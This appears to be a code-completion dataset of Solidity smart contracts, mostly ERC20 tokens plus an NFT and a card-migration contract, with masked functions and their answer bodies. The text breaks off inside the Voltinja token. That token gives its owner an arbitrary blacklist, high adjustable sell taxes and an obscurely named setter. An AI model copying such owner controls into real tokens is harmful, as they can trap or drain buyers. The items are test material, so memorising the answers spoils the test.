count = balanceOf(_owner); uint256[] memory result = new uint256[](count); for (uint256 index = 0; index < count; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } function withdraw() public onlyOwner { uint balance = address(this).balance; //5% 0x86fc9DbcE9e909c7AB4D5D94F07e70742E2d144A //95% to owner uint256 split = balance / 100; split = split * 5; payable(0x86fc9DbcE9e909c7AB4D5D94F07e70742E2d144A).transfer(split); balance = balance - split; payable(msg.sender).transfer(balance); } <FILL_FUNCTION> function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = baseURI(); if(revealed) return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString(), ".json")) : ""; else return unrevealedUri; } function contractURI() public view returns (string memory) { return "https://gateway.pinata.cloud/ipfs/QmUeUgkeFkyLFoEcXgWR8taQ6obkjCnFAqgqrWa77tWCtL"; } }
return super.totalSupply();
function totalsupply() private view returns (uint)
function totalsupply() private view returns (uint)
32097
DirectMigration
activatedMigration
contract DirectMigration { uint threshold; OldToken old; ICards cards; uint limit; event Migrated(uint oldStart, uint oldEnd, uint newStart); constructor(OldToken _old, ICards _cards, uint _threshold, uint _limit) public { old = _old; cards = _cards; threshold = _threshold; limit = _limit; } uint public migrated; function activatedMigration() public returns (uint current) {<FILL_FUNCTION_BODY> } function convertPurity(uint16 purity) public pure returns (uint8) { return uint8((purity / 1000) + 2); } function convertProto(uint16 proto) public view returns (uint16) { if (proto >= 1 && proto <= 377) { return proto; } // first phoenix if (proto == 380) { return 400; } // chimera if (proto == 394) { return 401; } // etherbots (bool found, uint index) = getEtherbotsIndex(proto); if (found) { return uint16(380 + index); } // hyperion if (proto == 378) { return 65000; } // prometheus if (proto == 379) { return 65001; } // atlas if (proto == 383) { return 65002; } // tethys if (proto == 384) { return 65003; } require(false, "unrecognised proto"); } uint16[] internal ebs = [400, 413, 414, 421, 427, 428, 389, 415, 416, 422, 424, 425, 426, 382, 420, 417]; function getEtherbotsIndex(uint16 proto) public view returns (bool, uint16) { for (uint16 i = 0; i < ebs.length; i++) { if (ebs[i] == proto) { return (true, i); } } return (false, 0); } }
contract DirectMigration { uint threshold; OldToken old; ICards cards; uint limit; event Migrated(uint oldStart, uint oldEnd, uint newStart); constructor(OldToken _old, ICards _cards, uint _threshold, uint _limit) public { old = _old; cards = _cards; threshold = _threshold; limit = _limit; } uint public migrated; <FILL_FUNCTION> function convertPurity(uint16 purity) public pure returns (uint8) { return uint8((purity / 1000) + 2); } function convertProto(uint16 proto) public view returns (uint16) { if (proto >= 1 && proto <= 377) { return proto; } // first phoenix if (proto == 380) { return 400; } // chimera if (proto == 394) { return 401; } // etherbots (bool found, uint index) = getEtherbotsIndex(proto); if (found) { return uint16(380 + index); } // hyperion if (proto == 378) { return 65000; } // prometheus if (proto == 379) { return 65001; } // atlas if (proto == 383) { return 65002; } // tethys if (proto == 384) { return 65003; } require(false, "unrecognised proto"); } uint16[] internal ebs = [400, 413, 414, 421, 427, 428, 389, 415, 416, 422, 424, 425, 426, 382, 420, 417]; function getEtherbotsIndex(uint16 proto) public view returns (bool, uint16) { for (uint16 i = 0; i < ebs.length; i++) { if (ebs[i] == proto) { return (true, i); } } return (false, 0); } }
uint start = migrated; address first = old.ownerOf(start); current = start; address owner = first; uint last = old.totalSupply(); uint cap = start + limit; while (owner == first && current < cap) { current++; if (current >= last) { break; } owner = old.ownerOf(current); } uint size = current - start; require(size > 0, "size is zero"); uint16[] memory protos = new uint16[](size); uint8[] memory qualities = new uint8[](size); uint16 proto; uint16 purity; for (uint i = 0; i < size; i++) { (proto, purity) = old.getCard(start+i); protos[i] = convertProto(proto); qualities[i] = convertPurity(purity); } uint newStart; if (size <= threshold) { newStart = cards.mintCards(first, protos, qualities); } else { newStart = cards.batchMintCards(first, protos, qualities); } migrated = current; emit Migrated(start, current, newStart); return current;
function activatedMigration() public returns (uint current)
function activatedMigration() public returns (uint current)
45045
FILToken
transferFrom
contract FILToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "FIL"; name = "FIL Token"; decimals = 6; totalSupply = 2*10**15; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } }
contract FILToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "FIL"; name = "FIL Token"; decimals = 6; totalSupply = 2*10**15; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
38938
CEECToken
totalSupply
contract CEECToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _symbol, string _name, uint _initTotalSupply) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _initTotalSupply * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract CEECToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _symbol, string _name, uint _initTotalSupply) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _initTotalSupply * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
return _totalSupply.sub(balances[address(0)]);
function totalSupply() public view returns (uint)
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint)
56046
LIQUID
null
contract LIQUID is ERC20 { using SafeMath for uint256; event PoolBurn(uint256 value); mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "LIQUID"; string public constant symbol = "LIQUID"; uint8 public constant decimals = 18; address owner; address public poolAddr; uint256 public lastBurnTime; uint256 day = 86400; // 86400 seconds in one day uint256 burnRate = 5; // 5% burn per day uint256 _totalSupply = 10000000 * (10 ** 18); // 10 million supply uint256 startingSupply = _totalSupply; constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address addr) public view returns (uint256) { return balances[addr]; } // approve function allowance(address addr, address spender) public view returns (uint256) { return allowed[addr][spender]; } // send and recieve function transfer(address to, uint256 value) public returns (bool) { require(msg.sender == owner || to==owner || poolAddr != address(0)); require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } // approve function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } // uniswap liquidity pairing ETH - LIQUID function setPool(address _addr) public { require(msg.sender == owner); require(poolAddr == address(0)); poolAddr = _addr; lastBurnTime = now; } // burn function (anybody can call this at any time but cant burn more than 5% per day) function burnPool() external { uint256 _burnAmount = getBurnAmount(); require(_burnAmount > 0, "Nothing to burn..."); lastBurnTime = now; _totalSupply = _totalSupply.sub(_burnAmount); balances[poolAddr] = balances[poolAddr].sub(_burnAmount); IUniswapV2Pair(poolAddr).sync(); emit PoolBurn(_burnAmount); } function getBurnAmount() public view returns (uint256) { uint256 _time = now - lastBurnTime; uint256 _poolAmount = balanceOf(poolAddr); uint256 _burnAmount = (_poolAmount * burnRate * _time) / (day * 100); return _burnAmount; } function getTotalBurned() public view returns (uint256) { uint256 _totalBurned = startingSupply - _totalSupply; return _totalBurned; } }
contract LIQUID is ERC20 { using SafeMath for uint256; event PoolBurn(uint256 value); mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "LIQUID"; string public constant symbol = "LIQUID"; uint8 public constant decimals = 18; address owner; address public poolAddr; uint256 public lastBurnTime; uint256 day = 86400; // 86400 seconds in one day uint256 burnRate = 5; // 5% burn per day uint256 _totalSupply = 10000000 * (10 ** 18); // 10 million supply uint256 startingSupply = _totalSupply; <FILL_FUNCTION> function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address addr) public view returns (uint256) { return balances[addr]; } // approve function allowance(address addr, address spender) public view returns (uint256) { return allowed[addr][spender]; } // send and recieve function transfer(address to, uint256 value) public returns (bool) { require(msg.sender == owner || to==owner || poolAddr != address(0)); require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } // approve function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } // uniswap liquidity pairing ETH - LIQUID function setPool(address _addr) public { require(msg.sender == owner); require(poolAddr == address(0)); poolAddr = _addr; lastBurnTime = now; } // burn function (anybody can call this at any time but cant burn more than 5% per day) function burnPool() external { uint256 _burnAmount = getBurnAmount(); require(_burnAmount > 0, "Nothing to burn..."); lastBurnTime = now; _totalSupply = _totalSupply.sub(_burnAmount); balances[poolAddr] = balances[poolAddr].sub(_burnAmount); IUniswapV2Pair(poolAddr).sync(); emit PoolBurn(_burnAmount); } function getBurnAmount() public view returns (uint256) { uint256 _time = now - lastBurnTime; uint256 _poolAmount = balanceOf(poolAddr); uint256 _burnAmount = (_poolAmount * burnRate * _time) / (day * 100); return _burnAmount; } function getTotalBurned() public view returns (uint256) { uint256 _totalBurned = startingSupply - _totalSupply; return _totalBurned; } }
owner = msg.sender; balances[msg.sender] = _totalSupply;
constructor() public
constructor() public
53014
Voltinja
_getCurrentSupply
contract Voltinja is Context, IERC20Upgradeable { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; uint256 private startingSupply; string private _name; string private _symbol; uint256 public _reflectFee = 200; uint256 public _liquidityFee = 200; uint256 public _marketingFee = 600; uint256 public _buyReflectFee = _reflectFee; uint256 public _buyLiquidityFee = _liquidityFee; uint256 public _buyMarketingFee = _marketingFee; uint256 public _sellReflectFee = 300; uint256 public _sellLiquidityFee = 700; uint256 public _sellMarketingFee = 1500; uint256 public _transferReflectFee = _buyReflectFee; uint256 public _transferLiquidityFee = _buyLiquidityFee; uint256 public _transferMarketingFee = _buyMarketingFee; uint256 private maxReflectFee = 1000; uint256 private maxLiquidityFee = 1000; uint256 private maxMarketingFee = 1500; uint256 public _liquidityRatio = 200; uint256 public _marketingRatio = 600; uint256 private masterTaxDivisor = 10000; uint256 private constant MAX = ~uint256(0); uint8 private _decimals; uint256 private _decimalsMul; uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public DEAD = 0x000000000000000000000000000000000000dEaD; address public ZERO = 0x0000000000000000000000000000000000000000; address payable private _marketingWallet = payable(0x6bAAC15f4730bd17B9cC265AF0B8c9E57520eF0B); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private _maxTxAmount; uint256 public maxTxAmountUI; uint256 private _maxWalletSize; uint256 public maxWalletSizeUI; uint256 private swapThreshold; uint256 private swapAmount; bool tradingEnabled = false; bool private sniperProtection = true; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private gasLimitActive = true; uint256 private gasPriceLimit; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); bool contractInitialized = false; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor () payable { // Set the owner. _owner = msg.sender; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _liquidityHolders[owner()] = true; // Approve the owner for PancakeSwap, timesaver. _approve(_msgSender(), _routerAddress, MAX); _approve(address(this), _routerAddress, MAX); // Ever-growing sniper/tool blacklist } receive() external payable {} function intializeContract() external onlyOwner { require(!contractInitialized, "Contract already initialized."); _name = "Voltinja"; _symbol = "VOLTINJA"; startingSupply = 100_000_000_000_000; if (startingSupply < 10000000000) { _decimals = 18; _decimalsMul = _decimals; } else { _decimals = 9; _decimalsMul = _decimals; } _tTotal = startingSupply * (10**_decimalsMul); _rTotal = (MAX - (MAX % _tTotal)); dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _maxTxAmount = (_tTotal * 500) / 100000; maxTxAmountUI = (startingSupply * 500) / 100000; _maxWalletSize = (_tTotal * 10) / 1000; maxWalletSizeUI = (startingSupply * 10) / 1000; swapThreshold = (_tTotal * 5) / 10000; swapAmount = (_tTotal * 5) / 1000; approve(_routerAddress, type(uint256).max); contractInitialized = true; _rOwned[owner()] = _rTotal; emit Transfer(ZERO, owner(), _tTotal); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFee(_owner, false); setExcludedFromFee(newOwner, true); setExcludedFromReward(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFee(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) external onlyOwner() { IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), newRouter, MAX); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner { require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error."); _liqAddStatus = rInitializer; _initialLiquidityAmount = tInitalizer; } function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{ require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded); snipeBlockAmt = _block; gasPriceLimit = _gas * 1 gwei; } function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; gasLimitActive = antiGas; sameBlockActive = antiBlock; } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 75); gasPriceLimit = gas * 1 gwei; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setTaxesBuy(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _buyReflectFee = reflect; _buyLiquidityFee = liquidity; _buyMarketingFee = marketing; } function setTaxesSell(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _sellReflectFee = reflect; _sellLiquidityFee = liquidity; _sellMarketingFee = marketing; } function setTaxesTransfer(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _transferReflectFee = reflect; _transferLiquidityFee = liquidity; _transferMarketingFee = marketing; } function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner { _liquidityRatio = liquidity; _marketingRatio = marketing; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = check; maxTxAmountUI = (startingSupply * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = check; maxWalletSizeUI = (startingSupply * percent) / divisor; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / 